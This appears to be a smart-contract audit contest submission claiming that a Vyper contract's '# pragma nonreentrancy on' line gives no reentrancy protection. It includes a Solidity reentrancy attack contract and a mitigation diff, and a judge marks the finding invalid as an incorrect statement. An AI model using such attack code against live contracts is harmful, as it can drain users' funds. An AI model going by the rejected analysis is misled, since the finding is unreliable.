Company Simulator
First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: medium
Invalid

Non-functional pragma nonreentrancy comment; critical functions lack proper non-reentrant protection

minionteechs

Root + Impact

Description

  • Normal behavior:

    A contract that sends ETH to external addresses must protect against reentrancy by using a proven guard (non-reentrant modifier/lock) and by following checks→effects→interactions patterns.

  • Specific issue:

    The top of the file contains the line # pragma nonreentrancy on, which is a comment and does not apply a reentrancy guard to any function. Key functions that send ETH (for example withdraw_shares() and parts of fund_investor() that may call raw_call for refunds) do not have an explicit non-reentrant decorator or lock applied. Because there is no effective reentrancy protection, a malicious contract investor can re-enter other state-changing functions during the external call and corrupt accounting or drain funds.

// Root cause in the codebase with @> marks to highlight the relevant section
# ------------------------------------------------------------------
# top of file:
# ------------------------------------------------------------------
@> # pragma nonreentrancy on # <-- this is a comment, not an applied decorator
​
# elsewhere:
@external
def withdraw_shares():
...
self.shares[msg.sender] = 0
self.issued_shares -= shares_owned
...
@> raw_call(
@> msg.sender,
@> b"",
@> value=payout,
@> revert_on_failure=True,
@> )
​

Risk

Likelihood:

  • Medium — attackers only need to deploy a malicious investor contract (trivial) to attempt reentrancy; many users are EOAs (lower chance), but a single malicious actor is sufficient.

Impact:

  • High — reentrancy during withdraw_shares() (or related flows) can:

  • Corrupt issued_shares / shares[...] accounting,

  • Allow double-spend or unauthorized share minting, or

  • Permit funds to be drained through carefully-timed nested calls.

  • Outcome: severe financial loss and broken invariants.

Proof of Concept

PoC explanation (one-liner):

When withdraw_shares() performs an external call to msg.sender without a reentrancy guard, the attack contract’s receive() re-enters fund_cyfrin() (or other state-changing calls) and manipulates accounting mid-withdrawal — demonstrating a successful reentrancy attack.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
interface IVuln {
function fund_cyfrin(uint256 action) external payable;
function withdraw_shares() external;
}
​
contract ReentrancyPoC10 {
IVuln public target;
bool private reentered;
​
constructor(address _target) {
target = IVuln(_target);
}
​
// Fallback re-enters once when paid
receive() external payable {
if (!reentered) {
reentered = true;
// Re-enter a vulnerable external function (e.g., fund_cyfrin or another withdraw)
// This demonstrates nested calls affecting contract state during payout
target.fund_cyfrin{value: 0.01 ether}(1);
}
}
​
// helper to perform the attack:
function attack() external payable {
// Step 1: invest to become an investor
target.fund_cyfrin{value: msg.value}(1);
​
// Step 2: call withdraw_shares(); during payout, receive() re-enters target
target.withdraw_shares();
}
}
​

Recommended Mitigation

Explanation (brief)

Remove the comment-style # pragma nonreentrancy on and explicitly apply a reentrancy guard to all external functions that send value or call external contracts (e.g., withdraw_shares, refund branches in fund_investor, pay_holding_debt if it ever forwards funds). Also adopt checks→effects→interactions and prefer pull-over-push for payments.

- remove this code
+ add this code
@@
-# pragma nonreentrancy on
+# removed incorrect pragma comment
+# Use explicit nonreentrant decorators on functions that transfer value
​
@@
-@external
-def withdraw_shares():
+@external
+@nonreentrant("withdraw_lock")
+def withdraw_shares():
...
- self.shares[msg.sender] = 0
- self.issued_shares -= shares_owned
- assert self.company_balance >= payout, "Insufficient company funds!!!"
- self.company_balance -= payout
- raw_call(
- msg.sender,
- b"",
- value=payout,
- revert_on_failure=True,
- )
+ # checks (already done above)
+ # effects
+ self.shares[msg.sender] = 0
+ self.issued_shares -= shares_owned
+ assert self.company_balance >= payout, "Insufficient company funds!!!"
+ self.company_balance -= payout
+ # interactions: perform the external transfer last
+ # prefer send() or internal safe_send wrapper that handles failure cleanly
+ send(msg.sender, payout)
​
Updates

Lead Judging Commences

0xshaedyw Lead Judge
7 days ago
0xshaedyw Lead Judge 5 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.